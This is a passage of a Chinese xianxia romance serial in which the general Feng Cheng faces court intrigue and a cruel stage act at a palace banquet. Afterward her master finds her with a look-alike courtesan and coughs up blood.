她低着头,顿了顿,才道:“他闭关了,大抵得过两日才会出关,” 封澄心情颇好:“我跟他学了这么多年,也没见他闭过关,还当他不需要呢,两日我也等得……陈还呢?叫出来碰头,吃饭去啊。” 思念心急,但仍是等得,人既然已到了洛京,封澄的心就这么稳稳地安定了下来,甚至有闲心和姜徵玩笑了。 只是不知为何,姜徵看起来有些心不在焉,只是勉强笑了笑,与几日前长煌一见时,相差甚远。 封澄没觉察到,也并未细想。 一见封澄,陈还当即眼泪鼻涕地抹了她一身,直叫人哭笑不得,三人在一起闹了一日,第二日,照旧在天机院温泉里泡着。 封澄呆呆地放了空:“明日,我该去见师尊了。” 陈还泡在水里吐泡泡,闻言,翻了个白眼:“劳驾,这种时候别提长辈行么?” 封澄:“……” 热泉咕嘟咕嘟,烧得人脑壳晕晕的,封澄索性换了个话题:“我这次的封赏挺厚实的,听说要赐府了。” 陈还嗤笑道:“赐府?给金子都比这个诚心,你常年在外,呆洛京总共几日?且这种府没什么好的,估计是哪个世家脚下的旧屋子,估摸着还没弟子苑大。” “……这么扯淡?” “常例的确如此,”一直沉默的姜徵开了口,“但阿澄这个不一样,你的府邸是我母亲安排的。” 姜家? 闻言,封澄的眼睛当即亮了;“真的啊?” 姜徵点了点头:“等明晚宫宴结束,大抵就赏给你了。” 此时此刻,封澄更兴奋了,她在泉中转了几圈,道:“既然封赏下来,我是不是就有钱了?” 姜徵淡淡道:“出息,这还早着。” 一听这口气,想必是有不少银子,封澄几乎要叉腰哈哈大笑了——她正好最近穷得很! “对了,”她想起一事来,“姜徵,你帮我寻一个人。” 在洛京寻一个人,对姜家而言,想必是轻而易举的。 既然她有钱了,那就早早把西街男子的银子补上——毕竟这年头谁赚钱容易,封澄对此颇有戚戚然。 姜徵又点了点头:“什么时候见着的,什么模样?” 封澄把那日情形地方详细与姜徵说了,姜徵闻言,却微微地皱了眉。 “花楼?” 这话倒是令封澄愣住了;“那是花楼?明明是戏坊嘛。” 姜徵皱眉:“即便是戏坊,里头的男子也是不干净的,你若是想尝鲜,我寻几个年轻干净的来给你,何必招惹那些人。” 此言一出,一旁的陈还吓得不敢划水了:“等一下,我觉得我一定是误解了什么——姜大人,你说的,是我理解的那个意思么?” 姜徵很奇怪地看了她一眼。 “你要么,”她淡淡的,好似没觉得此事有何奇怪一样,“干净人多得很,若要,开口就是。” 闻言,封澄慌得辩解:“不是,我正经的——” 姜徵嘘了一声,不置可否:“你的封赏里,估计也少不了美人,不急这一时。” 封澄:“……” 她尴尬道:“哈哈。” 第140章 第140章宫宴 从宫宴当日起,封澄便止不住地期待着赵负雪的出现。过午时,门口终于响了,她兴高采烈地过去,却听姜徵声音冷冷;“开门。” 封澄顶着一头乱毛打开了门,疑惑无比地翻了个白眼:“?你来做什么,这时候你不该去忙宫宴么?” 姜徵淡淡道;“我母亲担心你不合礼制,被治一个目无尊上罪,叫我带人来给你梳妆了。” 原来如此,封澄当即肃然起敬,目露骇然地将众人请入,随即坐在灵器铜镜前,身后手法轻巧的女官行了个礼,便在她发上忙碌,她轻声道:“我们家乡有一句话,说头发软的人心软呢,大人的头发可真是柔软。” 她道:“娘子哪里的人?” “回大人,松乡。” 封澄道:“远道进宫,着实厉害。” 女官抿着嘴笑:“伺候人呢,在哪里不是伺候?宫中娘娘最是宽宥,比我家那些刁滑修士好上许多。” 有一搭没一搭地说了几句话,女官已将头发盘好,她端详片刻,从身后弯着腰的小女官妆奁里取了几枚首饰,小心翼翼地簪在了封澄的发中。 “这样好的桃红春,衬姑娘的桃花面很是得宜,”她微笑道,“礼服片刻便到 ,姑娘稍后。” 宴席设在酉时,姜徵嘱咐道:“千万不要误了时辰。”封澄盘着发髻,只觉得脖子都硬了,她顿了顿,若无其事地道:“我师尊出关了吗?” 姜徵微微一愣,片刻,忍不住翻了个白眼道:“赵府冰霜已散,想必是已经出关了,今夜宫宴,你就能见到他。” 封澄叹道:“真是一日都不肯早,叫我苦等了这么久,这宫宴之后,我最多留京三日,想想就觉得开始难过了。” 姜徵凉凉:“这么爱留京,叫声好听的,我给你安排个清闲位置领银子。” 封澄嘻嘻一笑:“我才不呢,要抱大腿,我师尊的岂不是更粗?本将军骨气千斤重,论斤称了也不是这个卖法。” 此言一出,一旁的年轻女官忍不住低头闷笑,姜徵哭笑不得,连这几日一直挂在眉宇的郁结之色都散去了许多:“贫嘴,摇头晃脑的,抖散了发髻要你好看。” 一行人走出了院门,姜徵正要离开时,身后却被轻轻地唤了一声。 “哎,”封澄状似不经心道,“这几日来京,总觉得你不如从前开心了。” 姜徵霎时愣在了原地。 “什么事都别一人憋着,”她道,“你一直就这个毛病,闷声干大事,不留神便炸人一身雷。” 闻言,姜徵嘴角不由自主地向上勾了勾。 “知道了,”她道,“什么都瞒不过你。” 送走了姜徵,封澄在院子中越发无聊起来,偏生顶着一头定得结结实实的头发,又这不能动那不能动,直憋得封澄闲出毛,看着鸣霄室的一砖一瓦,她忽然觉得这四方天空闷得要命。 她叹了口气,不知为何,有些思念长煌的辽阔草原。 想来为何思归心切,不过是眉间心上,路远情长。 等未时,辘辘的宫车行到天机院口,封澄穿戴整齐,小心翼翼地踩上了宫车的台阶,她有些紧张,拘谨地端坐着,持灯的宫人笑道:“车中有时令鲜果,各色点心,茶水已备上,大人若是饿了,先垫垫肚子。” 封澄头次参加这种宫宴,只觉得浑身哪哪不自在,连带着身上的华服也像捆绳子,她瞄了一眼精致非凡的点心,点点头笑道:“麻烦了。” 宫人微笑着退下,帘子一合,心中却不由得意外。 原本以为初出茅庐便崭露头角的将军,不说是凶悍无匹,也至少该尖锐刺人的,谁知人一请来,竟是个比她还年轻些的小姑娘,瞧着从容明净,最是令人心生亲近。 她话中便不由自主地多了几分发自内心的关切:“大人,宫车开行了。” 下车后,由女官引进宫宴,封澄走在金碧辉煌的宫道上,被狠狠的震撼了。 “当心些,”身后忽然有人道,“脚下有石阶。” 封澄回头一看,当即神色一喜:“寸师兄?你也来了。” 身后的男子正是寸金,他穿一身青色,腰间扣一银质腰带,发冠亦是同色,越发显得人修直如竹,俊逸又神采飞扬。 寸金笑笑:“闲散人,托我师尊的脸面,进宫瞧瞧,同你们这些立了功的可没法比。” 封澄道:“好说,散了宴跟我去天机营,我上司眼馋你可久,你一走,他就止不住地和我打听。” 寸金笑笑,却并没像从前那般顺着封澄的玩笑往下贫几句嘴,而是神色专注又认真地看着她:“你在天机营,过得开心么?” 封澄怔了怔。 开心么?她还真是第一次想到这个问题。 连日行军征战,困得恨不得站着睡,天天把头悬在刀剑上,带着一小队少爷兵去伏击开了灵智的天魔,狼狈奔逃险些小命不保,这些无论如何都不算令人开心的事。 可寸金一问,回答却不由自主地从口中跳了出来。 “还不错,”她道,“饿了吃,困了睡,有仗就打,没仗,趁着巡逻的时候四处跑跑也开心,牧民游商都热情,不会说那边的话也没没事,包能交到朋友。” 话中话外,对天机营内如何,却只字未提。 寸金垂了垂眼睛,片刻,抬眼,流畅上挑的明亮眼睛微微地弯了弯。 “好啊,”他道,“我跟你去。” 封澄哈哈一笑,笑了半日,却不见寸金再说一句,她才慢慢反应过来:“你说真的?” 还未再说,殿门便已经到了。 寸金向她挑眉示意一下,便离去了。 导引的宫人将二人引自不同位置坐下,封澄坐得靠北一些,抬头一见,上边竟坐着她上司,这五大三粗的汉子一见封澄,便不由自主地想起了她泼在帐门的那盆牛粪,二人一见面,皆被对方一身人模狗样的打扮怄了怄,不由自主地转过身去,同时翻了个白眼。 她的目光悄悄地盯着对面,看着上首的空席。 如若没错,赵负雪应该会在那里。 他怎么还没有到? 就这么嚼着果子食不知味地等了许久,连什么时候开席了都不知道,几道菜后,年轻的皇帝清了清喉咙,举起了杯:“这第一杯酒,敬今日得胜归来的将士们。” 这是说天机军了,右手边的上司忙不迭地站了起来,与诸同僚一道举杯,封澄的耳边轻咳了几声,她才在上司不善的视线里回过神来,忙站起来,跟着举了杯。 一杯饮毕,皇帝又道;“听说此战功臣,乃是先皇选给朕的伴读,在哪里?叫朕瞧瞧。” 封澄呆了呆,慢了半拍才站起来,上前行礼道:“臣拜见陛下。” 殿上的男子正是她在姜允宫中所见的少年,当时的委顿犹豫一扫而空,取而代之的是少年帝王止不住的风发意气,他极有天子气概地朗声笑了几声:“好,来人,赏!” 天地良心,封澄连一日伴读都没给这皇帝当过,见着端上来的一叠文书,她有些愣住:“这是……?” 刘润挥了挥手:“此乃天机灵器的契书,凭此契书,可去朕私库取走灵器。” 此言一出,殿中略微有些骚动。 金银易得,房地于这些人来说,也是容易,唯有天机灵器,可谓是有价无市,珍贵非凡。 一旁的上司拼命地给她使眼色:“谢恩,谢恩!” 封澄的目光却悄悄地落在了其中一份的文书上。” 穷道锁,“她心中默念,“灵力锁于经脉,非解者不可脱离。” 不知为何,封澄心底一处突兀地一动。 “臣谢皇上赏赐。”她微微抬手,接过了这一盘轻飘飘的文书。 见封澄接下上次,刘润悄悄地松了一口气,紧接着,下面忽然有人道:“恭喜皇上,喜得良臣呐。” 封澄抬眼一看,只见一圆胖男子微微一笑,祝道:“有此年轻有为的小将在侧,必如虎添翼,鹏程万里。” 这男子她见过,名为崔见义,乃是此代崔家之主,长得一派喜庆,她一转头,却发觉刘润的神色有些僵硬。 他强笑道:“崔家主过誉,有此将士,乃是大夏之喜。” 崔见义朗声道:“既然此事为喜,那臣有一议,可喜上加喜,皇上登基半岁有余,中宫却迟迟不立,不若趁此大捷,立了皇后如何?” 话音一出,殿中死寂,唯有乐声突兀地响着。 世人皆知,帝后并治,分权之事无可避免。 寂静之中,姜徵身旁的中年女子站了起来,平静无比地行礼道:“臣姜充,有异议。” 崔见义似有诧异,好似是没想到是姜充起来反对,当即慢慢道:“哦?” 姜充长得严厉,一见便是不苟言笑的模样,封澄见了好奇,心中不由得道:“原来这就是姜徵的母亲,此代姜家的家主大人了。” 姜充道:“虽是天家,仍有人伦,先帝与吾妹离去不过半岁,新帝娶亲,未免太过违逆。” 刘润连忙道:“对对,就是这样,姜大人言之有理。” 崔见义却八风不动道:“非也,人俗虽重,却只是私事,天家大事,乃天下之公事,于百姓之言,皇帝娶亲,更是前所未有之喜事,以一人之私而对天下喜,孰重孰轻,世人皆知。姜大人如此否决,莫不是不愿舍得贵府孩儿于皇上罢?这可不行,女大当嫁嘛。” 如此大的一顶帽子扣来,实在是让人再言不得,姜充脸色一厉,方要说话,衣角却被姜徵轻轻地拽了拽。 她看着女儿,神色稍霁,却觉是吞不下这口气,正待言,对面却响起了一道清亮的女声。 “受教,”年轻的将军把玩着玉杯,眼中虽笑,眼底却是一片幽深,“崔大人在公私之上的辩驳,实在是震耳发聩,不过还有一事,晚辈不知能否讨教一二。” 对于这个当众接下皇帝赏赐的新贵,崔见义心中是十分不愿见得的,可她拿着晚辈身份讨教,令人简直难以拒绝。 “你问。”他虎着脸道。 “既然天下同天子喜,自也该同天子悲,”她道,“天子缟素,即为世人缟素,天子为亲者伤,乃天下为亲者伤,今时大人求天子娶亲,正如求缟素之悲者于灵堂之上另设新房。逆天下之人伦,违世人之常情,如此罔顾道义,敢问大人,是臣不视君父为父,还是君不视臣子为子?” 此言一出,崔见义拍案而起:“你!” 封澄微微一笑,挑了挑眉:“我如何?” 姜徵瞧着她,忍不住勾了勾嘴角,上头的刘润忍不住哈哈大笑:“原先只晓得你会打仗,不曾想口舌如此利索,竟是个文武双全之才!崔大人,小封将军年轻不知礼,还望大人见谅啊。” 崔见义脸色铁青,勉强扯出一分笑来:“岂会,不过是臣子间的笑谈,叫皇上见笑了。” 这段插曲便这么过去了,殿上又重新热闹起来,觥筹交错,言笑晏晏。只是时不时有阴惨惨的眼刀飞来,封澄也懒得分是崔见义的还是她上司的了,视线总停在对面那空席上,呆呆的。 宫宴过半,赵负雪为什么还没来? 酒过三巡,便是歌舞之事,排布宴席者也是考虑了将士们在长煌的口味,多有剑舞、劲舞之类,封澄看了几眼,注意力便被逐渐地吸引过去,待一胡旋舞退去后,有一奇装艺人上前,行礼道:“寻常歌舞,诸位大人想必已然看腻,街头巷尾的新奇东西,不登大雅之堂,只讨大人们的喜欢。” 姜充脸色微微一变——这不是她安排的人。 将士们却只当是新鲜玩意,连刘润也很感兴趣地眯了眯眼睛,杂耍艺人引了一轻纱笼罩的花车来,向众人一鞠躬,随即扬手一挥! 轻纱之下,竟是一个衣着单薄的年轻男子,他身上扣了累累的金丝扣,束得人动不了分毫。 封澄一见,脸色陡然一变,险些站了起来——这是在做什么! 御座上的刘润迟疑片刻:“……” 不光是他,在座的每一位,心中皆有些犹疑,目光不约而同地移向了皇帝。 衣不蔽体,难登大雅之堂。 姜充显然是察觉到了这一点,连崔见义脸上都有些愕然,她豁然起身道:“大胆,如此把式,岂可于宫宴之上现眼!” 她震怒,殿中却有一人不紧不慢道:“大人,只观他如何行事,何必如此着急。” 姜充冷冷看去,说话之人乃是乃是朝中新封的太师,有一手起死回生的长生之法,于前朝上便颇得帝后信赖,于此朝更是短短几月便博得了刘润亲近,她看在姜允面上,略微抬了抬眼:“迟太师,你原来喜欢这种把戏?” 迟太师金丝覆面,露出了一截线条精致的下巴,握着手中折扇不紧不慢地扇:“是俗是雅,还需看看才知。” 刘润见状,什么也顾不上了,连忙道:“既然太师想看,那便演!谁再开口,就是和朕过不去!” 把戏艺人恭恭敬敬地跪谢,起了身,便取一长剑,噗地一声喷了一口酒上去,霎时升起三丈有余的火焰,只骇得众人倒吸一口气,他朗声道:“今日我所演剧目,叫——庖丁解牛!” 他一剑去,便割断了那男子轻薄的纱衣,封澄见状,脸色一青就要站起来,忽闻对面有两声轻咳,她砍过去,只见姜充姜徵母女看着她,不约而同地摇了摇头。 姜充轻声道:“孩子,不可。” 艺人朗声道:“大人们吃牛炙,羊炙,只见好肉,不见刀工,实在是一憾事。今日,我来活解一人,再将人原样拼回来!” 谁会把羊肉牛肉联想到人身上去!在座之人只觉心惊肉跳。 说着,他一刀下去,刀刃仿佛转了个圈儿似的绕了金丝扣,刺向那男子胸口,登时,他雪白的皮肉便绽出一道血口,那男子连哀叫都叫不出一声,只艰难地扬了扬脖颈,犹如一只受难的天鹅。 在座数人的眼中不由得划过一丝嗜血的惊艳之色。 这目光只令封澄觉得恶心,她只觉众人眼睁睁地看着一屠夫在众人面前堂而皇之地杀人,当即站了起来,阴着脸道:“给我住手。” 花车男子当即惊喜交加地看向了她。 崔见义不满地嚷嚷:“封小将军,今夜你的风头已出尽了。” 封澄道:“人是活的,刀也是真的,在座各位若有常识,当知此情此景,此人绝无生还可能。难道便由着这屠夫在一室英豪前当众杀人吗!?” 此言一出,在座数人似有惊醒,连龙椅上刘润也露了些迟疑,偏生此时迟太师轻咳一声,刘润猛地醒过神来,板出一副天子威仪道:“小封将军,退下。” 封澄冷笑一声:“皇上若想看杀人,去长煌,想看多少有多少,活着回来的将士们看都看够了。” 他一看,坐在宴席上的长煌将士们果然脸色有些不对,就连封澄身边那个时时朝她翻白眼的壮汉都阴沉着脸一言不发了,见状,刘润心底那点才长出来的帝王威仪感受到了前所未有的无助。 即便无助,这句话也令刘润挂不住帝王的脸面了,他没想到这刚握到手的利剑立马就扎了他一下,他强撑着沉脸道:“放肆!” 封澄略讽刺地笑了笑:“臣当然放肆,难道皇上刚瞧出来吗?” 刘润登时便有了搬起石头砸自己的脚之感——她当庭便把崔见义辨得挂不住脸,哪家初出茅庐的小将军敢这么干?不是放肆是什么? 杂耍艺人不紧不慢开了口:“将军有所不知,这奴儿身上所穿金网,乃千机扣,为机关道之集大成者所制,凡是扣上,绝难解脱的。若我不剜肉将他救出,他便不得饮食,不得活动,生生困死在网中,这也是将军所愿见的吗?” 刘润回过神来,连忙道:“对对对,封将军,你要放人,这不是害了他吗!” “这扣要如何解?” 杂耍艺人微笑:“将军见过九连环么?这是差不多的道理,一环环解开便是,只是若解错了一环,这网中人当即会被勒死在网中。” 花车上的男子绝望地闭上了眼睛,封澄皱了皱眉——她专精术法有符剑阵,于机关一道上是天赋一般。虽跟着赵负雪学了几招,却只限于拆拆机关偶的骨节,像这样的机关扣,又是生死险境,她是万万解不开的。 一时之间,场面上陷入了僵局,封澄摸了摸腰间——长生乃当事奇兵,无不可破之物,她琢磨这千机扣能不能拿剑劈开。 险之又险,这张网实在是太黏着 皮肉了。 刘润此时终于觉得帝王的面子回来了,当即挥挥手道:“这样吧,若是封将军能解开这千机扣,朕便取消了这桩剧目,另备一盘天机灵器向封将军赔罪,如若不然,封将军也不必掏钱了,只向朕与迟太师敬酒三杯谢罪,你看如何?” 封澄眯了眯眼睛,正在此时,殿上却响起了一道弱弱的声音。 “我……”一穿着不起眼的宫人小声道,“我可以试试。” 封澄定睛一看,讶异地睁大了眼睛——何守悟。 他又小心翼翼地补充道:“若将军信我,我替将军解开天机扣。” 这少年着实瘦弱不起眼了,连个吃酒的席位也没有,不过是在一旁持灯侍奉着的,殿中一胖男子嗤笑一声:“封将军人中龙凤,岂用得着你这端茶的来掺和。” 封澄记得他,似乎是掌管军需的胡家家主,叫胡扶斗。 嘴上捧人,实则把她架在火上烤,她记下这人,转身对何守悟道:“你通机关道?” 何守悟低着头,讷讷道:“略通些,看着……看着可解。” 她果断拍板道:“好,臣应了。” 刘润当即僵了僵,旋即,脸上浮出个干笑来:“请。” 何守悟吞了吞口水,擦了擦手汗,才小心向前,封澄凝眸看着他的手在那男子身上小心翼翼地摩挲了片刻,抬起手来,稳稳地挑开了一道锁扣。 殿中响起了一道轻微的“咔吧”声。 花车男子并没有露出窒息的惨状,众人皆松了一口气,封澄抱着剑站在一旁,目光冷冷,座中有几人佯作观摩要凑上前来,皆被她一记眼刀以及抱在手中的剑骇走。 胡扶斗不满地走了回去:“防得这么紧,活像信不过咱们的人品。” 崔见义喝了口酒,目露嫌弃之色——他虽是逐利之人,却不是连个赌局都玩不起的穷搜货,当即觉得二人身上的铜臭味都投不到一起去了,不做声地往外挪了挪胖大的屁。股。 咔哒,咔哒的声音在殿中接连响起,越响越快,越响越稳。何守悟初试之时还有些手抖,越往下去,越是心有成竹,一炷香后,最后一声“咔哒”在殿中响起。 他擦了擦额头上的汗,回身恭恭敬敬地行礼:“启奏皇上,千机扣已全数打开。” 殿上沉默片刻,半晌,有人起身离席了。 是迟太师。 刘润肉眼可见地露出了慌张的神色,他左右环顾,强撑着道:“朕的赌局只设给了封将军,这虽解开了千机扣,却不是封将军自己解的。” 崔见义见着封澄再得灵器就浑身不舒服,见缝插针道:“故,将军无需向皇上谢罪,皇上也无需赏赐灵器予封将军,皇上,臣说得对否?” 刘润顾不得其他了,忙道:“对,今夜宴席朕且休憩,众卿自行饮宴。” 说罢,他广袖一挥,爬起来便去追那迟太师了。 都到了这个份上,哪有饮宴的心情?封澄捏着眉心,挥了挥手,食不知味地回到了宴席上。 何守悟小心翼翼地坐在了姜充另安置出来的席位上,不做声地攥紧了拳。 …… 潜入赵负雪的书房,果然是值得的。 至少在今日,殿中大人们齐聚一堂,一定是记住了他的机关术。 封澄坐回宴席,不知为何,那专会挑刺的上司安安静静地在她旁边,再未翻过一个白眼,直让封澄提前剃出来地的鱼刺毫无用武之地,她心情不怎么美妙地数着盘中的鱼刺,对于他的行为感到十分奇怪。 宫宴最后,论功行赏,封澄从姜充手中接过了此行的封赏。 “你比那姓赵的更出色。”她道。 封澄半晌才反映过来,有些哭笑不得,目光中认真得几乎虔诚:“他是世上最好的师尊。” 姜充盈这着目光怔了怔,随即便有些若有所思。 “你需记住了,”她看着封澄,意味深长道,“他是个好师尊,万万要珍惜。” 封澄听了这句话,不知为何,心头猛地一跳,她掩饰地低下头,借着看封赏的掩护笑道:“呀,好大的宅子。” 姜充道:“此宅离宫中近,已收拾妥当,人员器具都给你挑的好的,你今夜就去住罢。” 封澄经此一役,只觉得比打了十场仗都累,偏偏还没见着最想见的赵负雪,一时间心力交瘁,闻言点了点头,心中谋算着明日无论如何要亲自去一趟赵府:“多谢姜大人。” 姜充拍了拍她的肩膀。 回到了新鲜落成的府邸,封澄心力交瘁地屏退下人,往主卧的卧榻上狠狠的一扑! 太累了,她困倦无比得合了合眼睛,只觉得明日见到赵负雪之事,可有要和他说的了。 他闭关这么久,连宫宴都错过了,为什么呢? 这么想着,封澄沉沉地要合上眼皮,忽然之间,宽敞的锦被中忽然动了动。 她猝然睁开了眼睛,如临大敌地一跃而起,猛地掀开了被子:“?谁!” 锦被一飞,便露出了里面的全貌。 男子穿着比那花车中人更加轻薄的纱衣,缓缓地向她露出了脸。 只一眼,天崩地裂。 眼前的这人,眉宇分明长得与赵负雪并不怎么像,可若是露出了整张脸,没什么表情地看着人时,却叫人恍惚间觉得就是赵负雪。 并非形似,而是神似,封澄目瞪口呆地想:“没想到赵负雪这种长相也能捅窝地出啊。” “我说会有缘再见的,”男子微微一笑,倾身凑来,“在下沈怀玉,见过大人。” 封澄在五雷轰顶的愣怔之中回过了神,她结结巴巴道:“啊,是,是你,沈公子,我还欠你钱呢。” 男子微微笑道:“一刻千金啊。” 封澄茫然地说:“啊?”反应过来又炸了毛道:“胡闹,从哪来的滚回哪里去,长得人模狗样的,怎么还干这种事!” 说着她就要起身。 闻言,沈怀玉勾唇笑了,他径自跪起,开始解开着腰间的束带,轻笑道:“若长得不入眼,也不配入大人的榻了。” 这张脸着实太像了,连身上的冷香气也像,他跪下来时,封澄有些茫然,忽然间却想到了什么似的,陡然起了一身冷汗,她猛地撤开。 “……是谁让你来的。”她艰涩道。 就算是封赏的人,也不会巧到正正地挑一个与她师尊无比相似的人来,哪怕赵负雪那长相的确是毋庸置疑的美人也一样。 只有一个缘由。 有人察觉了什么。 她胸腔里的心脏咚咚乱跳,几乎要抑制不住地跳出去,封澄有些荒谬地想,今夜才以违逆人伦这桩大罪砸了崔见义,此时此刻便应到她的头上来了。 也不知道安排沈怀玉的幕后之人看她言之凿凿的时候该觉得如何好笑。 沈怀玉神色未变,只是用那张令人错不看眼睛的脸专注地看着她。 “好冷,”他仰着头,哀求般去拉封澄的手,墨发垂在雪白的后背上,水墨般妖冶,“什么都不要紧……什么都不要想了……求你,暖一暖我。” 低头盯着这张脸,鬼使神差地,封澄没有甩开他。 她突兀地想到,鸣霄室常常有灵流蹿出,冻得内堂一片寒霜,赵负雪常常一声不言地 呆在其中。 ……也会怕冷吧。 她叹了一口气,倾身过去,沈怀玉只当她动了心,于是微微闭上了眼睛,等待温暖气息的靠近。 谁料等了许久仍是微凉的空气,他错愕睁开眼,看见封澄越过他,乱七八糟地抱走了一床锦被。 “天亮后,你自去交差。”她看着有些疲倦,“嘴巴利索点,就说我醉了,什么都做不成,懂了么?” 见她跳下去,沈怀玉抿了抿唇,牙一咬,抓住了她的衣角,不由得问:“你要去哪里?” 封澄头也不回。 他闭关这么久,灵力又不稳,估摸着给自己的灵力冻死了也不肯说。 她有些思念赵负雪寝室的屋顶,语焉不详地糊弄道:“我去茅房。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第141章 第141章吐血 沈怀玉见此状,顿了顿,慢慢地抽回了手。 他面上那些故作矫饰的引诱之态一扫而空,取而代之的是一副淡淡的神色。 “何必寻此借口来搪塞,”他有些自嘲道,“大人嫌我脏?” 封澄一怔,摇头道:“怎么会,你是好人。” 他出手替她解了围,用自己的银钱,是个好人。 闻言,沈怀玉好似听到了什么好笑的东西,当即勾唇笑出声来,封澄奇道:“你笑什么?” 沈怀玉笑够了才道:“感觉被轻微地怜悯了一下,多谢,好久没人说我是好人了。” 他起身来,轻薄的纱衣蹭在锦被上簌簌有声,沈怀玉慢慢地贴近试探,最后将二人的距离把持在一个良好的、封澄不至于后退的范畴之内。 “给我留些痕迹吧?”他微笑道,“我都是你的人了,总不能叫我出门丢脸。” 封澄整个人都凌乱了:有痕迹才会出门丢脸吧?! 沈怀玉道:“我不堕了将军清名声呢,也不会到外面去乱喊,只是府中人心炎凉,见大人不碰我,日子别说多难过。” 封澄看着这张神似赵负雪的脸,一时之间竟哑口无言,半晌,才道:“我明日就送你自由身,府中人言与你无半文钱的关系,你说如何?” 沈怀玉沉默片刻,抬起眼时,重新换上了一副公事公办的表情:“同将军实话说了罢,我是姜大人送来的。” 姜大人? 姜充? 封澄心头一跳。 他慢慢道:“姜大人不放心将军,只怕将军年轻,一时走了岔道,乱了道心不说,伤人伤己就不划算了。” 封澄感觉浑身的血都有些凉了,她吞了吞口水,强撑着道:“她多虑了。” 她明知这份情谊来得荒谬又惊天,公之于众时保不齐要骇得举世指摘,可即便心中时时提防着莫要露出马脚,她却从不觉得这是该怕的,封澄唯一忐忑的,唯有赵负雪得知此事的反应。 世俗只见,她不在乎,那赵负雪在乎么?亲手养大的徒儿怀有这般不容见光的绮念,赵负雪是会觉得痛恨恶心,还是毫不在乎,或是震怒痛惜? 午夜梦回,千千万万,封澄离群索居,辗转难眠间,有无数梦魇吞吃她的胆气,惊得她猝然睁眼时连连冷汗。 喘着粗气静下来,再问心时,答案便呼之欲出了。 她不敢赌。 赌赢的可能性微乎其微,赌输了却是连赖在他身边做徒儿的机缘也不再有,封澄无望,不得不做个胆怯之人。 “多不多虑,”沈怀玉微笑着指了指自己的,“还是要由大人说了算。” 这是明目张胆的试探,亦是长辈的警告。 与赵负雪相似的沈怀玉,想必是很难寻的。 把他安置于深不可入的宅院,来解脱她不可见光的相思之苦,像是姜充已尽的苦心。 封澄不知道自己是如何倾身过去的,她听见自己的声音麻木而陌生地响起:“咬在哪里。” 沈怀玉微微仰头,露出了修长的颈:“大人先尝尝罢。” 仿佛天生这套动作便刻在灵魂深处似的,她擒住了沈怀玉的手腕,将人死死扣住,旋即低下头去,又稳又狠地咬在了沈怀玉的颈侧,这一咬相当之狠,沈怀玉当即吃痛地闷哼一声,身体微抖,却乖顺地承受着。 一咬毕,封澄松口离开,面无表情地看着他:“这样够你交差了吗?” 平心而论,封澄是个十分好看的美人儿,笑时一番味道,冷脸又是一般模样,沈怀玉看着她的双目,只觉得心底好像被猫爪轻轻地挠了下似的,他垂眼看了看,不知为何改变了主意:“她肯信么。” 封澄沉默。 刻骨而饱经折磨的情思,绝无可能咬一口便算了——如若现在站在面前的是赵负雪,她几乎想把他吞下去。 “衣服脱了,”她冷冷道,“胸口露出来。” 沈怀玉一怔,随即唇角便不自觉地勾了勾,他乖顺地露出皮肉,看见封澄乌黑的、毛茸茸的发顶埋下去,瞬间,胸口便传来一阵剧烈的痛楚。 这一口之狠,绝对是见血了。 牙尖嘴利的丫头。 沈怀玉摸了摸,有些又气又笑:“你只会动牙咬么?” 连大人也不叫了,封澄懒得理他:“脖子再来给我咬几口,差不多得了,少挑三拣四。” 封澄又像只磨牙的小兽般凑了过来,毛茸茸的呼吸打在脖颈,她下口不知轻重,比起情人间的纠缠,更像是在撕扯一块生肉,瞧着她凑在颈旁琢磨下口的位置,沈怀玉气笑了,他凑在封澄耳边,道:“大人是真不懂怜香惜玉,很疼啊。” 这声音捏得就像是来恶心她得,封澄翻了个白眼,刚要讽回去,却陡觉身后有几分寒气。 封澄觉得奇怪——门窗紧闭,何来寒气? 一转身,她愣住了。 灰蒙蒙的窗后有人影走过,寒气自他的影子而扑向了整片木制的门。 她忽然心头便陡地一乱,当即便不管不顾地翻下榻来,一掌推开了门,失声道:“师尊?!” 惨白的月光自来者身后倾泻而来,映得他一身素白的繁复礼服越发地如霜雪般不染凡尘,墨发披在身后,露出了一张冷淡无比的、入世谪仙似的脸。 也是她魂牵梦萦的脸。 赵负雪脸色铁青道:“封澄。” 他极少连名带姓、掷地有声地叫她的名字。 他带着庆贺封澄归京的贺礼,得知她今夜宿在将军府,于是趁着夜色便赶了过来,若她睡下,便等明日再来。 可方行至寝室之前,屋中便传来了两道人声。 封澄如梦初醒,当即脸色惨白。 沈怀玉不知为何也走了出来,他整理好了难以庇体的纱衣,神色上挑不出一点儿差错地向赵负雪拜下,温声道:“见过尊者。” 封澄陡然又想起了沈怀玉那张脸,脸上更白了——这是无论如何都不能被赵负雪看到的,她慌不择路,大脑一片空白地挪了挪身子,盖住了跪在地上的沈怀玉。 这是一张与赵负雪肖似的脸。 “我……”她不知如何和赵负雪解释,一贯伶俐无比的口舌竟然如同泥胎似的僵在了里头。 赵负雪看见她这番低头又藏人的小动作,原本寒霜似的脸更加阴沉,偏偏此时此刻,沈怀玉站起了身,随即赵负雪便注意,他露出了雪白的、一见便是饱受摧残的颈与胸口。 “将军,”他转身温情道,“夜间风寒,还请早些安寝。” 斑斑齿痕,血迹还是新鲜的,足以见方才的痴缠情态,赵负雪闭了闭眼睛,一时之间,喉中竟有些微甜。 封澄心惊肉跳:“……师尊。” 他太阳穴突突地跳,冷冷道:“你还有脸叫我师尊。” 封澄闻声,浑身上下的血液仿佛凝固住了,刹那间如释重负、如坠冰窟。 他知道了。 赵负雪只觉得理智与他未出现在心头的怒火一道越烧越烈,他看见护着身后之人的封澄,说不清这是什么滋味,不能说是几欲甩手离去的怒意,也不是对她如此行径的痛楚,硬说的话,他只觉得这火烧得他心头发恨。 他竟是恨的。 ……可是在恨什么呢? 剑骨从身上取出,反咒已然控制不住,这神思一乱,他方才便隐隐制不住的寒气陡然地冲破了他摇摇欲坠的通身经脉,封澄结结巴巴地走上前来,他听不清她说的什么,只觉得喉咙陡然一甜。 他一口血便吐了出来。 他恨,可他不知要恨谁,恨封澄?恨她身边那个不堪入目的小白脸?恨她如此情形下还要护着他? 恨来恨去,赵负雪忽然就发觉,他心中所恨,只是封澄身边那人竟不是他! 既然心中另许他人,为何反咒不解?为何只折磨他?为何还不肯放过他?! 封澄失声道:“师尊!” 猩红的血生生地将赵负雪的白衣染红,封澄魂飞魄散地扑上去,一把接住了她,急得额头上直冒热汗:“沈怀玉,快去!去找医修,去拍姜家的门,快去啊!” 